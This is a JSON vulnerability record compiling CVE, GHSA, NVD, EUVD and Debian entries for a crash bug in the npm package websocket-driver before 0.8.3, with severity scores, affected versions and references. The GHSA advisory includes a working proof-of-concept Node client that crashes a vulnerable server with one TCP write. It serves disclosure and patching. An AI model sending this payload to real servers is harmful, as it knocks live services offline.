{"id":"CVE-2026-144303","aliases":["DEBIAN-CVE-2026-144303","EUVD-2026-143536","GHSA-mxfr-rg9v-vp3c"],"status":"published","title":"websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00921,"percentile":0.61519,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true,"poc_reported":true},"cwes":["CWE-248"],"published":"2026-12-03T17:48:21Z","modified":"2026-12-04T21:54:49Z","fixes":[{"ecosystem":"npm","package":"websocket-driver","fixed_in":["0.8.3"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]}],"products":[{"vendor":"faye","product":"websocket-driver-node"}],"references":[{"url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-mxfr-rg9v-vp3c","tags":["x_refsource_CONFIRM","exploit","advisory"]},{"url":"https://github.com/faye/websocket-driver-node/commit/66486511c8b90ce6de4ea5b613109562f4cb5900","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/faye/websocket-driver-node/releases/tag/0.8.3","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-144303","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mxfr-rg9v-vp3c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/144xxx/CVE-2026-144303.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-144303","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-144303","title":"websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T17:48:21.952Z","modified":"2026-12-03T20:16:06.219Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-248"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T20:27:11.388745Z"}],"euvd":[{"id":"EUVD-2026-143536","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T17:48:21Z","modified":"2026-12-03T20:16:06Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-03T19:33:58.413601Z"}],"ghsa":[{"id":"GHSA-mxfr-rg9v-vp3c","title":"websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers","description":"### Summary\n\nA WebSocket server implemented using `websocket-driver` can be made to crash by a remote client sending WebSocket message data in the TCP chunk as its handshake request headers.\n\n### Details\n\nThe `websocket.http()` driver constructor is designed to be used with the Node HTTP `upgrade` event, which yields an HTTP request, the bare TCP socket, and a buffer containing the request body to the event listener. The documentation instructs users to pass the request body to the driver, before calling `start()` on it, like so:\n\n```js\nserver.on('upgrade', (request, socket, body) =\u003e {\n  if (!websocket.isWebSocket(request)) return\n  let driver = websocket.http(request)\n  driver.io.write(body)\n  // set up event listeners...\n  driver.start()\n})\n```\n\nThis API was originally designed to deal with the Draft 76 handshake, which included an 8-byte body as part of the handshake data. When this version is in use, the driver handles this sequence of calls correctly.\n\nWhen the RFC 6455 standard protocol is in use, `body` should typically be empty, since clients should not send messages before the handshake completes. However, if `body` is not empty, then passing it to `driver.io.write()` before calling `driver.start()` triggers an exception due to the parser not being initialised. This exception crashes the process.\n\nThis has been mitigated by buffering this input and parsing it when `start()` is called, so that any data received before `start()` is called is not lost. This buffering is subject to the `maxLength` configuration parameter so clients cannot abuse this to grow the server's buffer indefinitely.\n\n### Proof of concept\n\nGiven a server set up as follows:\n\n```js\nconst http = require('http')\nconst websocket = require('websocket-driver')\n\nlet server = http.createServer()\n\nserver.on('upgrade', (request, socket, body) =\u003e {\n  if (!websocket.isWebSocket(request)) return\n\n  let driver = websocket.http(request)\n\n  driver.io.write(body)\n  socket.pipe(driver.io).pipe(socket)\n\n  driver.messages.on('data', (m) =\u003e console.log({ m }))\n\n  driver.start()\n})\n\nserver.listen(5077, '127.0.0.1')\n```\n\nThe following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk.\n\n```js\nconst net = require('net')\n\nlet socket = net.connect(5077, '127.0.0.1')\n\nlet httpMessage = Buffer.from(\n  'GET / HTTP/1.1\\r\\n' +\n  'Host: 127.0.0.1\\r\\n' +\n  'Connection: Upgrade\\r\\n' +\n  'Upgrade: websocket\\r\\n' +\n  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\\r\\n` +\n  'Sec-WebSocket-Version: 13\\r\\n' +\n  '\\r\\n'\n)\n\n// FIN = 1, mask key 00 00 00 00, payload 'a'\nlet maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])\n\n// the frame is sent in the same write as the handshake,\n// so it arrives in the `body` (head) argument of the 'upgrade' event\nsocket.write(Buffer.concat([httpMessage, maskedTextFrame]))\nsocket.on('error', () =\u003e {})\n```\n\nOn receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent.\n\n### Impact\n\nAn unauthenticated remote client can crash any Node.js process that follows the README's \"Server-side with HTTP\" example, with a single TCP write.","status":"published","published":"2026-12-04T21:54:48Z","modified":"2026-12-04T21:54:49Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248"],"updated_at":"2026-12-04T21:59:20.06816Z"}],"nvd":[{"id":"CVE-2026-144303","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T18:17:26.903Z","modified":"2026-12-04T15:47:41.367Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-248"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T21:23:58.882957Z"}],"osv":[{"id":"CVE-2026-144303","title":"websocket-driver: Server crash triggered by client sending message data in the same TCP chunk as request headers","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T17:48:21.952Z","modified":"2026-12-04T21:01:47.441367155Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-248"],"updated_at":"2026-12-04T21:29:35.624376Z"},{"id":"DEBIAN-CVE-2026-144303","upstream":["CVE-2026-144303"],"description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, an application following the documented Node HTTP upgrade integration can pass a nonempty Node HTTP upgrade body to driver.io.write(body) before driver.start() initializes the RFC 6455 parser. An unauthenticated remote client can place WebSocket frame data in the same TCP chunk as the handshake headers, causing websocket.http() to process the body through uninitialized parser state, throw an uncaught exception, and crash the process. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T18:17:26.903Z","modified":"2026-12-04T05:00:09.976643148Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-04T05:28:35.416179Z"}]}}
